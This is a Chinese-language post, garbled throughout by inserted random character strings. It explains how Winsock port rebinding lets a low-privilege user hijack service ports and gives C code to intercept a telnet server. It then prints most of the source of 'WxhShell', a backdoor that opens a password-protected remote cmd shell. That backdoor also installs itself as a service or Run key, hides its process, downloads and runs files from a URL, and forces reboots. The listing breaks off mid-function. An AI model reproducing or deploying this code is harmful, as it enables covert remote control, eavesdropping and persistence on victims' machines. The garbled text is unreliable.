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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7Sv5fLu2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xMGd'l? J0) WRn"h saddr.sin_family = AF_INET; S gsR;)2 =,;3z/k% saddr.sin_addr.s_addr = htonl(INADDR_ANY); `2~Ea_Z X
OtS+p bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (%IstR|u: H.S|njn:r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]vyF&`phb "@|V.d@ 这意味着什么?意味着可以进行如下的攻击: k
<Sa< :[?o7%" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'GO..m"G ,O`*AzjS5Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QO^X7A"?X tKViM@T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !Yi<h/: BTQC1;;N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 zi 14]FWo 8@#Y
<{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 83(P_Y: !8M'ms>s= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'WgwLE_ o|im 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o)
?1`7^BA @8d})X33 #include '(:J|DN #include 13@| {H CB #include ! yUKNR #include Z- Ae'ym DWORD WINAPI ClientThread(LPVOID lpParam); m1Z8SM+ int main() ~
a&j4E {
W/QOG&g WORD wVersionRequested; QI{Y@xQ DWORD ret; ! \Kh\ WSADATA wsaData; 71ybZ 0 BOOL val; Hx0,kOh) SOCKADDR_IN saddr; 4T^WRS SOCKADDR_IN scaddr; R63d
`W int err; nvs7s0@Fqe SOCKET s; a5S/
O;ry SOCKET sc; wi
>ta int caddsize; O|m-k0n HANDLE mt; v wD(J.; DWORD tid; c$z_Zi!g# wVersionRequested = MAKEWORD( 2, 2 ); ?wY.B err = WSAStartup( wVersionRequested, &wsaData ); 2DQC)Pe+z if ( err != 0 ) { Oz7v
hOU printf("error!WSAStartup failed!\n"); mMWNUkDq return -1; i kiy>W8 } \F3t&: saddr.sin_family = AF_INET; {q4"x5| ,DZLEsFM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AVZ@?aJgF VlNzm saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Agf!6kh saddr.sin_port = htons(23); )G gx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cu7iHh Y5 { =@MKU printf("error!socket failed!\n"); y}`%I&]n return -1; ~h.B\Sc]Q } }@4*0_g"Aw val = TRUE; =)bc/309 //SO_REUSEADDR选项就是可以实现端口重绑定的 vX%gcs/@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M
XQ7%G { df\>-Hl printf("error!setsockopt failed!\n"); 56dl;Z) return -1; eu;^h3u;b } -nSqB{s!SD //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _,Y79 b6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KS_d5NvYl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Q0-~&e_' w6 .HvH-@? if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `rV,<
{ | <$O5b' ret=GetLastError(); kA0^~ printf("error!bind failed!\n"); Lf9h;z># return -1; ^g\%VIOD } Y8T.RS0 listen(s,2); yvvR%]!. while(1) ER+[gT1CQ { uy~j$ lrn caddsize = sizeof(scaddr); v\C+G[MV7 //接受连接请求 E{J;-+t sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F\;1:y~1 if(sc!=INVALID_SOCKET) tWuQKN`_ { qE[}Cf]X mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jF8ld5|_| if(mt==NULL) @P?*<b{ { hZy*E [i printf("Thread Creat Failed!\n"); 3t'K@W?AJh break; [<t*&Kr+o } '%N
p9Iqt } N1rrKyL!$ CloseHandle(mt); COafVlJ,l } \D=B-dREq closesocket(s); J/Li{xp)Lg WSACleanup(); lki(_@3 return 0;
8:MYeE5 } cW\ 7yZh DWORD WINAPI ClientThread(LPVOID lpParam) "+AD+D { J2rH<Fd[up SOCKET ss = (SOCKET)lpParam; c9@* SOCKET sc; kQ+5pFo3 unsigned char buf[4096]; HZNX1aQ|Q# SOCKADDR_IN saddr;
v:'y&yS long num; 2+HiaYDZ DWORD val; $[Ns#7K DWORD ret; X+iULr.^`~ //如果是隐藏端口应用的话,可以在此处加一些判断 t<tBOesQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 y5I7pbe saddr.sin_family = AF_INET; "2-TtQV! saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p-Ju&4fS saddr.sin_port = htons(23); 2bmppDk if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rk<:m+V= { 7VraWW`H' printf("error!socket failed!\n"); V#gXchH[L return -1; xS'So7: h } [Pay<]c6g val = 100; =*pu+o,? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FB""^IC?W { %?seX+ne ret = GetLastError(); r\zK>GVm_ return -1; P+xZaf
H } &
CgLF] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /e}k7U,^ { K^+B" ret = GetLastError(); Q5ux**(Wr return -1; (@ Bw@9 } 9Bn
dbSi if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7">.{
@S { x=k$^V~ printf("error!socket connect failed!\n"); Dqki}k~{ closesocket(sc); p\ASf closesocket(ss); -Ac^#/[0 return -1; U
w)1yzX } Y*6*;0Kx while(1) *T3"U|0_ y { {221@ zcCq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^,3 >}PU //如果是嗅探内容的话,可以再此处进行内容分析和记录 f'
eKX7R //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Oe?nX> num = recv(ss,buf,4096,0); Cfi5r|S if(num>0) u[% #/ send(sc,buf,num,0); j2z$kw% else if(num==0) wBf
bpoE7 break; Tb[GZ,/%; num = recv(sc,buf,4096,0); U[ed#9l> if(num>0) l!1bmg #]$ send(ss,buf,num,0); UCQL~ else if(num==0) ,AJd2i x break; @U}UC G7+ } ny}?+&K closesocket(ss); \l`;]cA closesocket(sc); +CACs7tV return 0 ; ,i}"e(f } Y9Pb *m;L.r`5[ eu~;G H ========================================================== wZ\0<skU 0Bll6Rd 下边附上一个代码,,WXhSHELL $]_=B Jyu
@`T6\ 1 ========================================================== GxBj N7" ji1A>jepF #include "stdafx.h" 7M4iBk4I P++gR@ #include <stdio.h> :F_U^pyG #include <string.h> *Q)+Y&qn #include <windows.h> \(u P{,ML #include <winsock2.h> + 7Z%N9 #include <winsvc.h> NIgt"o[I #include <urlmon.h> giPyo"SD V; ChrmE #pragma comment (lib, "Ws2_32.lib") :%0Z #pragma comment (lib, "urlmon.lib") U_:/>8})d R\XJ #define MAX_USER 100 // 最大客户端连接数 9O|m#&wa] #define BUF_SOCK 200 // sock buffer @?t) UE #define KEY_BUFF 255 // 输入 buffer iaMZ37 g3y44GCV #define REBOOT 0 // 重启 KMZ% 1=a #define SHUTDOWN 1 // 关机 S_)va#b# Dx8^V%b #define DEF_PORT 5000 // 监听端口 y(%6?a @ <fP|<>s$@1 #define REG_LEN 16 // 注册表键长度 J9o]$.e #define SVC_LEN 80 // NT服务名长度 /rquI y^ #PiW\Tq // 从dll定义API 3o1j l2n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (h
E^<jNR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v"^G9u typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ [Z*n/tr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $+Xohtt 9Gy1T3y5" // wxhshell配置信息 7,:QFV struct WSCFG { cc@y int ws_port; // 监听端口 ^mH^cP?/ char ws_passstr[REG_LEN]; // 口令 ^JH 4:
h int ws_autoins; // 安装标记, 1=yes 0=no (u~@@d" char ws_regname[REG_LEN]; // 注册表键名 Cjw|.c` char ws_svcname[REG_LEN]; // 服务名 0(]C$*~mk char ws_svcdisp[SVC_LEN]; // 服务显示名 ?(E$|A char ws_svcdesc[SVC_LEN]; // 服务描述信息 /:B!hvpw char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >2%!=q3) int ws_downexe; // 下载执行标记, 1=yes 0=no R@;kYS char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %/4ChKf!VR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0PZpE
"$X At"@`1n_u' }; Nl0*"}`I_ }e1f kjWk // default Wxhshell configuration h]I ^%7 struct WSCFG wscfg={DEF_PORT, $~_TE\F1 "xuhuanlingzhe", :X+7}!Wlo 1, wPyfne?~, "Wxhshell", <&B)i\j8=b "Wxhshell", ,|D<De\v& "WxhShell Service", L )kwMk "Wrsky Windows CmdShell Service", Gq?JMq# "Please Input Your Password: ",
2>p>AvcK 1, WS4Ja$* " http://www.wrsky.com/wxhshell.exe", r"c<15g2' "Wxhshell.exe" CnN PziB }; `i;f |BN^5mqP6 // 消息定义模块 BVU>M*k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DYx3NDX7 char *msg_ws_prompt="\n\r? for help\n\r#>"; zW8rC! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8!sl) R char *msg_ws_ext="\n\rExit."; ^Yul|0*J char *msg_ws_end="\n\rQuit."; kocgPO5 char *msg_ws_boot="\n\rReboot..."; Q3T@=z2j% char *msg_ws_poff="\n\rShutdown..."; O!#r2Y"?K1 char *msg_ws_down="\n\rSave to "; q-}qrg Y'H|Tk^` char *msg_ws_err="\n\rErr!"; fgdqp8~ char *msg_ws_ok="\n\rOK!"; "2# #Fcu= ;<hLy(@ char ExeFile[MAX_PATH]; jnho*,X int nUser = 0; ir!/{IQx HANDLE handles[MAX_USER]; x}B3h9] int OsIsNt; u7L&cx ebfT%_N SERVICE_STATUS serviceStatus; ZMEU4?F SERVICE_STATUS_HANDLE hServiceStatusHandle; Q #IlUo stQRl_(' // 函数声明 &L`^\B]k| int Install(void); $raq,SP int Uninstall(void); eCFMWFhC int DownloadFile(char *sURL, SOCKET wsh); -?z# int Boot(int flag); 17la/7l< void HideProc(void); ur\<NApT; int GetOsVer(void); n37P$0 int Wxhshell(SOCKET wsl); mUA!GzJ~u- void TalkWithClient(void *cs); M47t(9krV int CmdShell(SOCKET sock); wAD%1; int StartFromService(void); Uhs/F:E[A int StartWxhshell(LPSTR lpCmdLine); vj%3v4 zCji]: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nEHmiG VOID WINAPI NTServiceHandler( DWORD fdwControl ); g^I?u$&E Xrl# DN // 数据结构和表定义 /L{V3}[j SERVICE_TABLE_ENTRY DispatchTable[] = vB<9M-sa0 { )s N}ClgJ {wscfg.ws_svcname, NTServiceMain}, 45Hbg {NULL, NULL} y=!7PB_\| }; U'@#n2p:k { k>T*/ // 自我安装 jZr"d*Y int Install(void) PCx: { G,!{Q''w char svExeFile[MAX_PATH]; #(7^V y& HKEY key; l#IN)">1 strcpy(svExeFile,ExeFile); Tm\a%Z`U> |_njN // 如果是win9x系统,修改注册表设为自启动 |BBo if(!OsIsNt) { %/oeV;D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xL [3R
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0oQJ}8t RegCloseKey(key); sm Kp3_r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ka/>jV" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n|fKwWB\ RegCloseKey(key); s~06%QEG return 0; RiG]-K: } G5hf m- } <!=:{&d% } GC`/\~TM else { v,|jmv+: [}I|tb>Pg // 如果是NT以上系统,安装为系统服务 9zl-C*9vj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MbxJ3"@ if (schSCManager!=0) $px1D$F ! { _Un*x5u2O SC_HANDLE schService = CreateService ?f= ~Pn+ ( ^+w1:C 5 schSCManager, 3tW}a`z9 wscfg.ws_svcname, ivg W[] wscfg.ws_svcdisp, 3aw-fuuIb SERVICE_ALL_ACCESS, 9^7z"*@# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4k!>JQor SERVICE_AUTO_START, |?v .5|1 SERVICE_ERROR_NORMAL, &D91bT+L svExeFile, y[ZVi5) , NULL, ,zEPdhTX NULL, T_[5 ZYy NULL, [Lcy &+ NULL, JmC2buO NULL dDA,Ps ); fu
iTy72 if (schService!=0) `ff@f]|3^ { ;6$W-W _ CloseServiceHandle(schService); r 6&+pSA> CloseServiceHandle(schSCManager); /[5\T2GI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $9h^tP'CV strcat(svExeFile,wscfg.ws_svcname); !yvw5As % if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hcpe~spz9| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HQSFl=Q RegCloseKey(key); Z+=WICI/2 return 0; .l,]yWwfK } IOa@dUh7a, } CDY3+! CloseServiceHandle(schSCManager); r`$P60,@C } LVy`U07C V } `a[
V_4wO 7[0<,O6Q return 1; ~R\ $Z } R[kF(C& TEla?N // 自我卸载 zDBm^ s int Uninstall(void) ps^["3e { 0$i\/W+ HKEY key; K+d{R=s^ o=-Af|#b if(!OsIsNt) { ;X:Bh8tEV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K"!U&`T RegDeleteValue(key,wscfg.ws_regname); 2V~uPZ RegCloseKey(key); |"[;0)dw^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ffd4c RegDeleteValue(key,wscfg.ws_regname); oFhBq0@ RegCloseKey(key); QVah4wFL*. return 0; L3\(<[ } r*ziO#[ } t.
HwX9 } D&=+PAX else { A"0Yn(awWu 7q{yLcC" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i ~)V>x if (schSCManager!=0) e(FT4KD~ { `)kxFD_bH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "Bz#5kqnl if (schService!=0) 7jr+jNsowj { X5-[v(/] if(DeleteService(schService)!=0) { C>F5=& CloseServiceHandle(schService); LoOw]@> CloseServiceHandle(schSCManager); 7\ X_%SM % return 0; f(\S+4 } ?0-3J )kW CloseServiceHandle(schService); y3bL\d1 } /XNC^!z6Js CloseServiceHandle(schSCManager); "`mG_qHI[ } yTNHM_P } IsVR4t] o)Px d return 1; fJ=(oF= } mnw(x#%P X_)I"` // 从指定url下载文件 m 0Uu2Z4 int DownloadFile(char *sURL, SOCKET wsh) Hq&MePl[ { p9!jM\( HRESULT hr; o#D'"Tn! char seps[]= "/"; @RCZ![XYWg char *token; ZTj!ti;5 char *file; vg1E@rH|} char myURL[MAX_PATH]; LG{50sP` char myFILE[MAX_PATH]; z~i>GN_ &g=6K&a$a strcpy(myURL,sURL); %WqUZ+yy token=strtok(myURL,seps); jN(c`Gb while(token!=NULL) J<9})
m { !<F5W<V file=token; Moi>Dp token=strtok(NULL,seps); WopA7J, } mZ0_^ C+-sf GetCurrentDirectory(MAX_PATH,myFILE); 0"u=g)3 strcat(myFILE, "\\"); DjiWg(X strcat(myFILE, file); =fI0q7]ndz send(wsh,myFILE,strlen(myFILE),0); N0(($8G send(wsh,"...",3,0); XK
yW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (FOJHjtkM if(hr==S_OK) :;o?d&C return 0; tsf!Q else a&gf0g;@I return 1; :LD+B1$y ^bXCYkx } R-\"^BV#Z SXmh@a"*\ // 系统电源模块 K(}<L-cv int Boot(int flag) ns&(g^ { vpu
HANDLE hToken; NqN9 TOKEN_PRIVILEGES tkp;
83:qIfF KI5099 _/ if(OsIsNt) { lDG.\u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PML84*K - LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;}AcyVV tkp.PrivilegeCount = 1; 2spK#0n.HV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CfHPJ:Qo[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'h{DjNSM
if(flag==REBOOT) { _B\X&!G. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xf8.PqVNo return 0; rB3b } Bzr}+J else {
58/\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Zw]Uu`sb return 0; su Z` } ,+RoJwi m } $I90KQB\_ else { A|P
`\_ if(flag==REBOOT) { b'4r5@GO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V;]U] return 0; GI#TMFz3 } U,nQnD"!t& else { BC1P3Sk
6X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %(kf#[zQ return 0; K#plSD^f= } +,bgOq\aG } LP}YHW/ 3hNb
? return 1; :n(!, } X] t * )jN fQ!?/ // win9x进程隐藏模块 edh<L/%D void HideProc(void) 8R.`* { /4u:5G 2)>Ty4* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LY(h>` if ( hKernel != NULL ) zy[|4Q(? { 7.xJ:r| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `H\NJ, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IN94[yW{1 FreeLibrary(hKernel); ~7&O[ } y1hJVYE2 .(zZTyZr return; v7-
d+P= } @EcY&mP) BGVy
\F< // 获取操作系统版本 w^QqYUL${ int GetOsVer(void) |)u|@\{ { ]ch=D OSVERSIONINFO winfo; W[j7Vi8v winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XY`2>7 GetVersionEx(&winfo); .Dg'MMBM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nh\y@\F> return 1; t8FgQ)tk else MFLw^10(T return 0; w'Q2Czso } ,=p.Cx'PR _fANl}Mf: // 客户端句柄模块 eE;")t, int Wxhshell(SOCKET wsl) 'k[gxk|d2 { EAjo>GLI SOCKET wsh; "Q<*H<e struct sockaddr_in client; d@t3C8 DWORD myID; $~*d. L\asrdL?= while(nUser<MAX_USER) "n=Ih_J { t9
m],aH int nSize=sizeof(client); esQRg~aCGy wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U9p^?\-= if(wsh==INVALID_SOCKET) return 1; uu582%tiG B 9AE* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sf0[^"7 if(handles[nUser]==0) :7Q,
`W9 closesocket(wsh); |qsY0zx else o] 7U;W nUser++; H@WQO]PA } QabYkL5@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); abM4G Y_<(~eN` return 0; )z?Kq0 } T3
k#6N. mF !=H% // 关闭 socket CiGN?1| void CloseIt(SOCKET wsh) 3
,?==? { Aw *:5 I[ closesocket(wsh); gJ>HFid_C nUser--; Af"vSL ExitThread(0); cZ~\jpK } >ak53Ij$ u +OfUBrf // 客户端请求句柄 D`^9
u
K void TalkWithClient(void *cs) ?V&[U { d\ Z#XzI8 &Wup
7 SOCKET wsh=(SOCKET)cs; ZVek`Cc2 char pwd[SVC_LEN]; dO[w3\~ char cmd[KEY_BUFF]; +2ih!$T;7> char chr[1];
I"=XM
int i,j; /aB9pD+% O}3M+ while (nUser < MAX_USER) { %7?v='s= OAQ'/{~7 if(wscfg.ws_passstr) { ,FPgbs if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>5
"fs$Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VSkx;P //ZeroMemory(pwd,KEY_BUFF); +<ey
Iw i=0; Up$vBE8i] while(i<SVC_LEN) { k]`3if5> ,uP1U@Cas // 设置超时 uv[e0,@ fd_set FdRead; 1dK^[;v>3 struct timeval TimeOut; /vB%gqJvX FD_ZERO(&FdRead); s"?&`S FD_SET(wsh,&FdRead); 8Q1){M9' TimeOut.tv_sec=8; K9*#H( TimeOut.tv_usec=0; .W&rcqy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jjm-%W@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u[oYVpe)IG &7X0 ;< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >:`Y]6z pwd =chr[0]; Q=9S?p
M if(chr[0]==0xd || chr[0]==0xa) { LV 94i pwd=0; !m1pL0 break; 3;`93TO{ } BI=Ie? i++; mlgdwM } 8C=Y(vPk2 c"J(? 1O // 如果是非法用户,关闭 socket %;PPu$8K9 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W3K"5E0ck } T+2I:W% ~4*9w3t
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q6{ %vd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )x"Z$ jIs H2RNekck while(1) { !{SU G+.2 @11voD ZeroMemory(cmd,KEY_BUFF); ?kb\%pcK ^\mN<z( // 自动支持客户端 telnet标准 ap9eQsC j=0; ,Ql3RO, while(j<KEY_BUFF) { N[ArwV2O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v.v3HB8p cmd[j]=chr[0]; n@g[VR2t if(chr[0]==0xa || chr[0]==0xd) { W^&t8d2 cmd[j]=0; mI in'M break; 'eqvK|Uj: } jt2m-*aP j++; mcDW&jwQ } $b$r,mc yZFvpw|g // 下载文件 tQJ@//C\z if(strstr(cmd,"http://")) { +.\JYH=yEr send(wsh,msg_ws_down,strlen(msg_ws_down),0);
v-[|7Pg}Z if(DownloadFile(cmd,wsh)) \{+7`4g send(wsh,msg_ws_err,strlen(msg_ws_err),0); m$hSL4N else O,JthlAV4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =OO_TPEZ } kZGhE2np else { /IV:JVT x)vYc36H switch(cmd[0]) { {Rw~G&vQ 8gBqur{ // 帮助 +I\bs.84 case '?': { ?67j+) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |_[mb(<| break; G';oM;~/| } ~`_nw5y // 安装 q}BQu@'H case 'i': { '}4[m>/ if(Install()) W {dx\+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z{_'V+Q1 else Qn%*kU0X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5I(`
s#O break; )_2!1 } 'A8T.BU // 卸载 Cfz1\a&V{ case 'r': { ]\r~"*TZ if(Uninstall()) 9y]$c1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); !8=uBS% else x|<|eRYK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &|E2L1 break; {/0,lic } vW)GUAF[ // 显示 wxhshell 所在路径 p6}jCGJ case 'p': { *%)L?* char svExeFile[MAX_PATH]; vlj|[joXw strcpy(svExeFile,"\n\r"); ha8do^x strcat(svExeFile,ExeFile); -U/&3 send(wsh,svExeFile,strlen(svExeFile),0); J;T_9 break; 6lWO8j^BN } i,yK&*>JJ // 重启 $V~%$ case 'b': { Fx3VQ'%J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @fE^w^K7 if(Boot(REBOOT)) cF vGpZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (c[h,>`@: else { *.nqQhW closesocket(wsh); ^*{xTB57 ExitThread(0); @#Xzk?+ } Ha+FH8rZ break; D *LZ_ } E!Fy2h>[Z // 关机 0|^x[dh case 'd': { m/ 6oQ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BxZop.zwE( if(Boot(SHUTDOWN)) vCpi|a_eCu send(wsh,msg_ws_err,strlen(msg_ws_err),0); am"/Anml| else { nM0nQ{6 closesocket(wsh); G0]n4"~+? ExitThread(0); 10}Zoq|)n } hCxL4LrF break; }=GyBnXu } !w)Mm P Xb // 获取shell @$nI\n?* case 's': { Rthu8NKn CmdShell(wsh); ;D^)^~7dh closesocket(wsh); 'Ux_X:,:; ExitThread(0); |y:DLsom?i break; J<`RlDI } 2bxT%xH:g // 退出 xwRnrWd^6 case 'x': { M"9
zK[cz send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G8;S`-D1a, CloseIt(wsh); rf`Br\g8 break; nL:vRJr-$ } 4
^+hw; // 离开 ASYUKh,h case 'q': { vSnb>z1 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Txfb-f!mv\ closesocket(wsh); (bo bKr WSACleanup(); 1I@4xC
#X exit(1); M5x!84 break; pz$$K? } NqwVsVL } [{ { ?e6J } 3,F/i+@ mm{U5 // 提示信息 AQiP2`? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - 5k4vx
N} } OUdeQO? } Ch.T}% "=".ne return; E%;'3Qykva } &iGl)dDr H]!y |p // shell模块句柄 9nG] .@H int CmdShell(SOCKET sock) $>h#|?*? { %&]}P;& STARTUPINFO si; R_1C+ ZeroMemory(&si,sizeof(si)); | 5L1\O8# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gP`!MlY@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P5d@-l%} PROCESS_INFORMATION ProcessInfo; :O!G{./(_ char cmdline[]="cmd"; nEp'l.T CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |,7J!7T(I return 0; @LE?XlhD } G^(&B30V (Dar6>! // 自身启动模式 NF1D8uI int StartFromService(void) GVfu_z? { '0O[ dN typedef struct eB\r/B] { "aBd0i& DWORD ExitStatus; `;_tt_ DWORD PebBaseAddress; L~oFW'
DWORD AffinityMask; hKTg~y^ DWORD BasePriority; eb/V}% ULONG UniqueProcessId; Me}TW!GC ULONG InheritedFromUniqueProcessId; 5i/E=D } PROCESS_BASIC_INFORMATION; ];I| _fXo% Ky yG8;G% PROCNTQSIP NtQueryInformationProcess; l'W+^ |x6mkSf]ke static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8Wj=|Ow-q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fMQ*2zGu95 &1p8#i HANDLE hProcess; 7RP_
^Cr+ PROCESS_BASIC_INFORMATION pbi; ^c\ IZ5 ?:?4rIZ< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &
.?HuK if(NULL == hInst ) return 0; ' 4~5ez|: B
